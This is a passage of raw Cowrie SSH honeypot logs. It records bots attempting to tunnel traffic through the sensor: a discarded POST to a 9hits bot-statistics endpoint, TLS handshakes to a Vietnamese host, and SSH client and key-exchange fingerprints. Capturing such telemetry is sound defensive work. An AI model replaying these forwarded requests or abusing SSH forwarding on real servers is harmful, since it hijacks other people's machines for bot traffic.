{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1134\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; ANA-AN00 Build/HUAWEIANA-AN00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YillbzcxNH5HRHdTd2xUSQ%3D%3DNyDMKRE79Hdo6tbPyIWClX8TB4ma47ww%2BQloeHcwahx4nwklwWWU8zS7bg17p85kV1AZCcAUiAlyT2O6OLa5XQJYyVbSXFF53Eowq1iBQyY1YtMO6kZdLu1M2eDbVubnmWw0cP24jZ5LiNDA9fSpbwf290zSDTzvHgz5ai5OO3lNzGRXr%2BaIzMho6SyIm1oigOzcCsGwpgV4F%2FKDTaSGbeQJL83ohUqI17%2Fv3q9RaUjkMNfHUgTJ%2B%2FWZGSc1rQRQrJCun%2BQ5KILLJ7yQVR%2BqhdRssOVAX62W4AWEok82jV7HgWt1btx0PeK7TXY3jWiS81Qgo3TQHnXvo6iQx5o6eWwW9lDMVF7zNxgOmK8j6VRJd%2BOmFtiHf3YKqvDuZ1kat5QoF46e4VkCTeXTuy3hdjT7WCstGtrGr3ZQzyChy57GoJDuws2XaceZEsi7fFdn6jl%2Bgq%2F9LDNA3CXXEBwBBNlguub7fLtf2sA7DqM1jW6ogjsUndcBlp5mXyNU3cp49pPUJCIptLlarrt90wM8NFWnWYllS8S287qql0ZYigtOxMmoCWz0WzvxFSL%2FjOwKBfrg9zcSevHsSP2PlGBVGyunpFDvyfGwvblYSNjVovFlAVGHJRE3ImQxPh9EUy0FOOiUODSdFU%2Bzn10TnX7oiGiMYkjoT4uMUjweCeosOElcnNwdJ7ZkfRNn7SLGPNE7FGI8bgjri5oA0y5N4dxvRn10pcXVge8YZjhqAeg3DqNVsqtrFlKvIgX9DFiqvSLcNZRixoobXnGx4iKATS70tumw7hJ%2B84ju0VixuiQZ1v4FNuBdASAWTAW17OhBamJD4V3yjrCxhwcffTnRyt8GwFN9yPKU6ZT7K8Ji8htTEHG3utC6akmnqaKhM8mJ%2BridBb5LagtSoGpk4%2By2sufMD2iQwa6rtjDnTZK8CnbQ96Uz9C2NJIDf2bP1Bwj3Hr6avg%2FPBnw6u3LM6GYndHc1TGaVX59w8QyLNlghiV8pS3Br3b0i66p88Z7XtFybD0ike8kqP0LkhXpuoclwN8Oeg5VHH8NniNIVcyCXW0H9AvA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1134\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; ANA-AN00 Build/HUAWEIANA-AN00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YillbzcxNH5HRHdTd2xUSQ%3D%3DNyDMKRE79Hdo6tbPyIWClX8TB4ma47ww%2BQloeHcwahx4nwklwWWU8zS7bg17p85kV1AZCcAUiAlyT2O6OLa5XQJYyVbSXFF53Eowq1iBQyY1YtMO6kZdLu1M2eDbVubnmWw0cP24jZ5LiNDA9fSpbwf290zSDTzvHgz5ai5OO3lNzGRXr%2BaIzMho6SyIm1oigOzcCsGwpgV4F%2FKDTaSGbeQJL83ohUqI17%2Fv3q9RaUjkMNfHUgTJ%2B%2FWZGSc1rQRQrJCun%2BQ5KILLJ7yQVR%2BqhdRssOVAX62W4AWEok82jV7HgWt1btx0PeK7TXY3jWiS81Qgo3TQHnXvo6iQx5o6eWwW9lDMVF7zNxgOmK8j6VRJd%2BOmFtiHf3YKqvDuZ1kat5QoF46e4VkCTeXTuy3hdjT7WCstGtrGr3ZQzyChy57GoJDuws2XaceZEsi7fFdn6jl%2Bgq%2F9LDNA3CXXEBwBBNlguub7fLtf2sA7DqM1jW6ogjsUndcBlp5mXyNU3cp49pPUJCIptLlarrt90wM8NFWnWYllS8S287qql0ZYigtOxMmoCWz0WzvxFSL%2FjOwKBfrg9zcSevHsSP2PlGBVGyunpFDvyfGwvblYSNjVovFlAVGHJRE3ImQxPh9EUy0FOOiUODSdFU%2Bzn10TnX7oiGiMYkjoT4uMUjweCeosOElcnNwdJ7ZkfRNn7SLGPNE7FGI8bgjri5oA0y5N4dxvRn10pcXVge8YZjhqAeg3DqNVsqtrFlKvIgX9DFiqvSLcNZRixoobXnGx4iKATS70tumw7hJ%2B84ju0VixuiQZ1v4FNuBdASAWTAW17OhBamJD4V3yjrCxhwcffTnRyt8GwFN9yPKU6ZT7K8Ji8htTEHG3utC6akmnqaKhM8mJ%2BridBb5LagtSoGpk4%2By2sufMD2iQwa6rtjDnTZK8CnbQ96Uz9C2NJIDf2bP1Bwj3Hr6avg%2FPBnw6u3LM6GYndHc1TGaVX59w8QyLNlghiV8pS3Br3b0i66p88Z7XtFybD0ike8kqP0LkhXpuoclwN8Oeg5VHH8NniNIVcyCXW0H9AvA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.523319Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.527627Z","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.546935Z","src_ip":"91.92.40.36","session":"1de1c04ec454","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.583415Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\!U\\xf27\\x94G\\x98\\x88\\x82I\\xf2\\xb0\\xb7\\x1bG\\xdbzf#\\xed+\\x10<\\xfa9\\xe3\\x98\\x85s\\x8e\\x15 \\tg\\x1f1\\\\\\xb4\\xe6d\\xdf\\xd9\\x1a\\xe1\\xc9\\xd28\\x1f\\xdc+\\x9bg\"UOw\\x0f\\xcd\\xce\\xe1\\x91\\xcc\\x80\\xc8\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 GE\\x13\\x891\\xa6K\\x82\\xf6\\x9e\\xcb\\xbb\\x9eR\\xa4\\x9d\\xb1\\xcf\\xf9\\xf0i$q\\x10#\\x0b\\xf5g\\xa16\\xfd!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\!U\\xf27\\x94G\\x98\\x88\\x82I\\xf2\\xb0\\xb7\\x1bG\\xdbzf#\\xed+\\x10<\\xfa9\\xe3\\x98\\x85s\\x8e\\x15 \\tg\\x1f1\\\\\\xb4\\xe6d\\xdf\\xd9\\x1a\\xe1\\xc9\\xd28\\x1f\\xdc+\\x9bg\"UOw\\x0f\\xcd\\xce\\xe1\\x91\\xcc\\x80\\xc8\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 GE\\x13\\x891\\xa6K\\x82\\xf6\\x9e\\xcb\\xbb\\x9eR\\xa4\\x9d\\xb1\\xcf\\xf9\\xf0i$q\\x10#\\x0b\\xf5g\\xa16\\xfd!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.586743Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.665772Z","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.722726Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde]\\xe3x\\xe4\\xfb\\xdc\\xef\\x88bk\\xff\\x95Ct\\x04\\x991\\xb7y71\\x83&s\\xdes\\xbd\\x01\\xf3W( \\xe2\\n\\xe2\\xe81\\xc9S\\x00\\xd14\\xbd=\\xefo\\x1bW\\xf8P)\\xf8\\xb3\\xcb\\x82\\xc6s\\xcc\\x99\\x1b\\xcd\\xc2\\xfa\\x1c\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 ,_\\xb6\\xfe\\xea\\x85O\\xf2d{nP\\xb6\\x8c\\x89\\xdc\\xce\\xd6i1K\\xd9\\xc4\\x1c\\xf0`\\x8c\\xf7p\\xd4%k\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde]\\xe3x\\xe4\\xfb\\xdc\\xef\\x88bk\\xff\\x95Ct\\x04\\x991\\xb7y71\\x83&s\\xdes\\xbd\\x01\\xf3W( \\xe2\\n\\xe2\\xe81\\xc9S\\x00\\xd14\\xbd=\\xefo\\x1bW\\xf8P)\\xf8\\xb3\\xcb\\x82\\xc6s\\xcc\\x99\\x1b\\xcd\\xc2\\xfa\\x1c\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 ,_\\xb6\\xfe\\xea\\x85O\\xf2d{nP\\xb6\\x8c\\x89\\xdc\\xce\\xd6i1K\\xd9\\xc4\\x1c\\xf0`\\x8c\\xf7p\\xd4%k\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.726158Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:40.031461Z","src_ip":"45.153.34.195","session":"744d211df438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28106,"dst_ip":"10.17.0.5","dst_port":22,"session":"240e09129181","protocol":"ssh","message":"New connection: 91.92.40.36:28106 (10.17.0.5:22) [session: 240e09129181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:40.774631Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11328,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca4d7111f437","protocol":"ssh","message":"New connection: 45.153.34.195:11328 (10.17.0.5:22) [session: ca4d7111f437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:41.288945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:41.292964Z","src_ip":"45.153.34.195","session":"ca4d7111f437","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:41.399242Z","src_ip":"91.92.40.36","session":"240e09129181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:41.402908Z","src_ip":"91.92.40.36","session":"240e09129181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:41.409325Z","src_ip":"45.153.34.195","session":"ca4d7111f437","protocol":"ssh"}
